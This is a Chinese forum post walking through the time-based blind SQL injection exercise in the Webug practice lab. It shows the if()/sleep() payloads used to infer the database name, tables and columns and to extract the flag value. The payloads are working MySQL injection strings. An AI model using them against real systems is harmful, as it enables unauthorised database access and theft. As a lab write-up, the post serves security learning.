本帖最后由 only 于 2020-5-13 21:35 编辑
5月13日:
Webug之延时注入 我们知道,盲注分为两种,其一是之前我们练习过的布尔注入,其二就是今天我要尝试的延时注入,这两种注入的区别呢就在于,布尔注入是通过界面的true和false来判断我们的payload是否正确,而延时注入是通过根据页面响应的时间来判断我们的payload是否正确,了解了这个之后,我们正式开始注入 首先,我们和之前的套路一样先来判断注入点,输入 - id = 1' and 1=1 界面不变
- id = 1' and 1=2 界面改变,但没有报错因此不是显错注入
复制代码通过标题我们可以知道是延时注入,那么我们接下来进行第二步,我们爆出库的长度 这里我们需要用到一个if()和sleep()语句来帮助我们判断 - 1' and if(length(database())>4,sleep(3),1) %23 延时3秒
- 1' and if(length(database())>10,sleep(3),1) %23 立即刷新
- 1' and if(length(database())>7,sleep(3),1) %23 立即刷新
- 1' and if(length(database())=5,sleep(3),1) %23 延时3秒
复制代码
由此我们可以判断,该数据库的长度为5,接下来来猜解数据库名 - 1' and if(ascii(substr(database(),1,1))>88,sleep(3),1) %23 延时3秒
- 1' and if(ascii(substr(database(),1,1))>120,sleep(3),1) %23 立即刷新
- . . .
- 1' and if(ascii(substr(database(),1,1))=119,sleep(3),1) %23 延时3秒
复制代码
我们可以判断第一个字母为“w” 判断第二个字符时 修改为substr(*****,2,1) 判断第二个数据库时 修改为limit 1,1 最后我们得出数据库名为“webug” 下一步我们去猜解表名 - id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=0x7765627567 limit 0,1),1,1))>97,1,sleep(3))--+
复制代码通过修改参数,然后不断测试我们可以等到该数据库里面的表有 - data_crud,env_list,env_path,flag,sqlinjection,user,user_test
复制代码然后方法和布尔注入类似,先查看flag表发现flag错误,然后我们继续env_list 表 - id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name=0x656e765f6c697374 limit 0,1),1,1))>97,1,sleep(3))--+
复制代码得出en_list表里面的列名id,envName,envDesc,envIntegration,delFlag,envFlag,level,type
然后我们和布尔注入一样只需要爆出id=3里面的数据即可 - id=1' and if(ascii(substr((select envFlag from webug.env_list limit 2,1),1,1))>100,1,sleep(5))--+
复制代码limit 2,1 是从0开始的 故id=3时也就是limit 2,1 当然也可以写成下面的 id=1' and if(ascii(substr((select envFlagfrom webug.env_list where id=3),1,1))>100,1,sleep(5))--+ 最后我们得出flag为gfdgdfsdg!
|